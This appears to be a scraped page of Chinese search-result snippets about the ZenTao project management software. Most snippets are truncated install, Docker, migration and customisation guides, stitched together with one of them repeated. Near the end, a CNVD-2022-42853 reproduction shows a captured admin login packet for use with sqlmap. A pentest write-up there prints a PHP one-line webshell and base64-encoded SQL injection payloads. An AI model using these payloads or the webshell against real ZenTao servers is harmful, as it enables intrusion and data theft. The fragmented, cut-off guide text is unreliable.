什么是禅道?禅道是一款国产的开源项目管理软件。 禅道可以做什么?禅道的主要功能包括产品管理、项目管理、质量管理、文档管理、事务管理、组织管理等多项管理功能。此外,还覆盖丰富的统计功能、搜索功能、灵活的扩展机制和强大的API机制。 如何自动推送禅道消息?在禅道中提供了API机制,可以集成了Webhook功能,通过腾讯云HiFlow,可以零代码将禅道中的项目信息推送至企业微信、钉钉、飞书等工作IM平台。
前言 2019年6月14日 22:01:24 看看时间我知道,我离猝死依然不远~ 禅道是什么 | 禅道是专业的研发项目管理软件 禅道的官网 | https://www.zentao.net/ 禅道开源版 linux-zbox-install-79983.html 步骤 我是为了美和正义而诞生的无聊的句子~ 查看服务器版本 getconf LONG_BIT 64位返回64 32位返回32 选择对应版本禅道
禅道使用-基于禅道11.4.1版本禅道管理软件中,核心的三种角色:产品经理、研发团队和测试团队,这三者之间通过需求进行协作,实现了研发管理中的三权分立。 禅道流程管理图部门维护使用禅道来进行项目任务管理https://www.zentao.net/book/zentaopmshelp/40.html一、创建项目添加新项目的入口有多个,进入项目视图,可以在左侧 指派任务启动任务我的地盘--->任务--->指派给我点击进行点击完成禅道文档1.找到对应的项目库2.创建文档编辑暂时不支持word excel ppt,或者其他格式的文档可以放到公司技术部NAS共享中,
安装 官网文档:https://www.zentao.net/book/zentaopmshelp/40.html 1、查看自己当前服务器系统 > getconf LONG_BIT 2、依据自己服务器下载安装包
禅道集成Jenkins 总体目标 在禅道中,看板上的任务完成或者切换到某个指定的状态,触发Jenkins构建。 Jenkins配置 设置项目参数化构建 禅道系统配置 禅道系统版本 添加webhook 配置webhook 测试集成 更改任务状态 Jenkins日志 总结 在具体的实践中可以通过上图jenkins获取的参数进行逻辑判断
给禅道缺陷增加缺陷责任人字段 by:授客 实践环境 禅道项目管理软件9.2.1 、8.0开源Linux版 给数据库表zt_bug新增自定义字段 ALTER TABLE `zt_bug` ADD COLUMN 注意:笔者使用的禅道,语言设置的是中文,所以仅修改zh-cn.php,不修改英文en.php和tw.php 修改zentaopms/module/bug/view/create.html.php 如下图
一、概述 使用docker方式部署禅道简单,快速,不容易出错。比起编译安装要方便很多。 二、部署 环境说明 操作系统:centos 7.6 ip地址:10.212.82.65 docker版本:19.03.8 配置:2核4g 关于docker安装,请参考链接: https://www.cnblogs.com docker镜像 docker pull easysoft/zentao:12.5.2 创建持久化目录 mkdir -p /data/zentao/pms /data/zentao/mysql/data 启动禅道 因为此时禅道还没有初始化。 访问页面 注意:10.212.82.65是服务器ip http://10.212.82.65/ 效果如下,点击开始安装 ?
系统初始化需要您访问:http://xxx.xxx.xx:9098/进行手动初始化配置
禅道Zentao是个很好的项目管理工具,用docker搭建部署,简单方便,亲自验证过程如下: 所需环境 环境与配置 测试环境 推荐配置 备注 Docker 20版本 20版本以上 操作系统 Linux 或Windows Linux 镜像支持 x86_64 和 arm64 架构 CPU 1核心 2核心 内存 4G 4G以上 硬盘 50G 50G以上 禅道版本和镜像tag对应关系如下: 禅道版本 :max4.5 IPD版 以ipd开头,如:ipd1.0.1 查看Docker版本: [localhost ~]$ docker -v Docker version 20.10.9, build c2ea9bc 拉取禅道开源版18.5版本 docker pull easysoft/zentao:18.5 创建启动禅道 例如:在主机上创建空目录 /data/zentao,执行如下命令 sudo docker 123456 运行时可设置 MYSQL_ROOT_PASSWORD变量来更改密码 检查禅道 # 查看禅道容器 docker ps | grep zentao # 查看禅道容器日志 docker logs
12345 端口映射到外网,再利用 netsh 命令将本地 12345 端口转发到 192.168.10.188 的 8000 端口,这样,我在外网用 http 请求本地 12345 端口时,实际上是在请求禅道 connectaddress:需要代理访问到的远程IP connectport:远程代理端口 listenport:为本地指定绑定端口(可以与connectport不一致) 7.打开浏览器输入第五步中的网址即可进入禅道
环境 CentOS 8 + 禅道16.x + Nginx + Mysql + PHP PHP 配置 centos 自带的有 php环境 sudo dnf module list php # 查看版本,默认 '192.168.100.%' IDENTIFIED BY 'my-new-password' WITH GRANT OPTION; 最后一步还需要配置防火墙 / 安全策略组,开放3306 端口 安装禅道 .16.5.php7.2_7.4.zip dnf -y install unzip # 安装unzip解压 ,有就不装 unzip ZenTaoPMS.16.5.php7.2_7.4.zip # 解压禅道源码包 fastcgi_params; include fastcgi.conf; } ## For https listen 443 ssl http2;
给禅道缺陷增加是否遗留及来源渠道自定义字段 by:授客 实践环境 禅道项目管理软件9.2.1 、8.0开源Linux版 给数据库表zt_bug新增自定义字段 ALTER TABLE `zt_bug` 注意:笔者使用的禅道,语言设置的是中文,所以仅修改zh-cn.php,不修改英文en.php和tw.php 修改zentaopms/module/bug/view/create.html.php 如下图 注意:后面发现按上面的方式更改create.html.php页面后,发现页面缩放后,会出现样式错乱的问题,解决方法: 1、 还原上述代码的更改 2、 在合适位置插入背景色部分的内容
漏洞编号 CNVD-2022-42853 影响产品 禅道企业版 6.5 禅道旗舰版 3.0 禅道开源版 16.5 禅道开源版 16.5.beta1 复现过程 搭建禅道环境,点击start运行 windowWidth=1664; windowHeight=810; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=f88b39d5; PHPSESSID=qii4d2oujq7jc6rhecjlq6fga1 KEY_RANDOMDATA=19059 account=admin&password=d946e9f1a52f641d4ce78ad58da857af&passwordStrength=0&referer=%2Fzentao %2F&verifyRand=57784117&keepLogin=0&captcha= 把数据包放到sqlmap中进行利用
来源:http://www.51testing.com
禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理 禅道使用php语言开发,需要运行在安装有php的docker中,目前可以选择两种不同类型的docker,一种安装有apache、 php,一种安装有nginx、php,fpm。 下面是部署过程:
1,在主机上创建一个目录用来部署我们的安装包,目录地址为: /var/www/php-html
2,使用如下命令下载并运行php7.1版本的镜像,镜像中已安装有php7.1和apache 3,从禅道官网上下载相关版本的安装包并解压到 /var/www/php-html 目录。
我使用的是开源版本,目前最新版本号是9.6.3。
docker exec -it 容器id bash --安装pdo_mysql插件 docker-php-ext-install pdo_mysql
--退出容器
exit
2)
实现xmind用例导入禅道,支持自动创建产品,模块,删除用例,此外,支持禅道导出的excel用例转xmind用例之后,再导入禅道,实现禅道用例管理闭环 使用要求 适配xmind版本:xmind 8 update 9(XMind_3.7.9.0) 说明:使用xmind编写的用例要能被程序解析,需要安装以上xmind版本 win10 禅道专业版 3.10.1 禅道开源版 3.10 程序目录结构说明 ├─conf default_testcase_priority = 2 [XMIND_TO_ZENTAO] # xmind用例导入禅道用例配置 # 用例归属产品名称不存在时是否自动创建产品 可选值:1、0 # 画布(一般用于相同产品的用例文件合并) saving_way = 2 # excel测试用例文件所在目录路径(禅道导出的excel测试用例转为xmind用例时使用) excel_testcase_file_dir_path 用例按禅道用例导出模板转成excel用例 或者 把xmind用例导入禅道,则将xmind用例文件放入xmind_testcases目录 如果希望把禅道导出的excel用例转xmind用例,则把excel
首先要清楚知道旧服务器上面运行禅道的版本号 如果要进行数据迁移就要保证AB1 服务器上所运行的禅道版本的一致,如果后期考虑升级的话 再去升级B上面的禅道版本 数据迁移步骤 版本示例:ZenTaoPMS .12.5.3.zbox_64.tar.gz 首先要从A服务器上备份两个文件夹 禅道默认目录:/opt/zbox 备份文件① /opt/zbox/app/zentao/www/data/upload ibtmp1 mysql zentao zentao_old 将zentao文件夹整个导出 B服务器安装与A服务器版本一致的禅道 upload 将刚才A服务器的1文件夹导入 cd /opt/zbox/data/mysql 将默认的zentao重命名 mv zentao zentao_old 将刚才A服务器的zentao文件夹导入 启动禅道 /zbox start 完成禅道迁移 打开新的禅道地址之后 账号密码都是原A禅道上的账密, ---- A为旧服务器 B为新服务器 ↩︎ 发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn
给禅道缺陷增加自定义字段供不同的缺陷操作页面使用 by:授客 QQ:1033553122 实践环境 禅道项目管理软件9.2.1 、8.0开源Linux版 需求描述 在禅道创建、修改、查看、关闭缺陷页面添加一个自定义字段 注意:笔者使用的禅道,语言设置的是中文,所以仅修改zh-cn.php,不修改英文en.php和tw.php 修改zentaopms/module/bug/view/create.html.php 如下图
前言 禅道是第一款国产的开源项目管理软件,她的核心管理思想基于敏捷方法scrum,内置了产品管理和项目管理,同时又根据国内研发现状补充了测试管理、计划管理、发布管理、文档管理、事务管理等功能,在一个软件中就可以将软件研发中的需求 启动禅道 创建目录:mkdir -p /data/zbox 启动禅道: docker run -d -p 9091:80 -p 3316:3306 -e USER="admin" -e PASSWD=" 常见问题 禅道提示09:51:48 ERROR: SQLSTATE[HY000] [2002] Connection refused in framework/base/router.class.php connectByPDO. in framework/base/router.class.php on line 2215 when visiting 处理方法:rm -rf /data/zbox 禅道提示 03:02:39 ERROR: SQLSTATE[HY000] [2002] Connection refused in framework/base/ 1、检查mysql服务是否正常运行;2、检查/opt
首先要清楚知道旧服务器上面运行禅道的版本号 如果要进行数据迁移就要保证AB1 服务器上所运行的禅道版本的一致,如果后期考虑升级的话 再去升级B上面的禅道版本 数据迁移步骤 版本示例:ZenTaoPMS .12.5.3.zbox_64.tar.gz 首先要从A服务器上备份两个文件夹 禅道默认目录:/opt/zbox 备份文件① /opt/zbox/app/zentao/www/data/upload ibtmp1 mysql zentao zentao_old 将zentao文件夹整个导出 B服务器安装与A服务器版本一致的禅道 upload 将刚才A服务器的1文件夹导入 cd /opt/zbox/data/mysql 将默认的zentao重命名 mv zentao zentao_old 将刚才A服务器的zentao文件夹导入 启动禅道 /zbox start 完成禅道迁移 打开新的禅道地址之后 账号密码都是原A禅道上的账密, A为旧服务器 B为新服务器 ↩︎
最近碰上了一个禅道的cms系统,看了下网上并没有对这个cms比较系统的攻击方法,于是写下此文希望对大家能有所帮助。 (公司授权站点,打码严重,万望见谅) 站点地址:http://xxx.xxx.xxx.xxx:8090/ cms版本:禅道9.0.1 因为个人习惯问题,喜欢测试弱口令,经过一番测试,得到其中一个用户的弱口令 php $_POST[1]($_POST[2]); 最后的shell地址是\zentaopro\module\api\aaaaaa.php 不知道是不是二改了cms… 最后的希望,sql注入,由文章我们可以知道禅道存在的 "Referer":url } payload1 = 'eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKGV4dHJhY3R2YWx1ZShyYW5kKCksY29uY2F0KDB4M2EsdmVyc2lvbigpKSksMSkjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ ==' payload2 = 'eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKGV4dHJhY3R2YWx1ZShyYW5kKCksY29uY2F0KDB4M2EsZGF0YWJhc2UoKSkpLDEpIyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0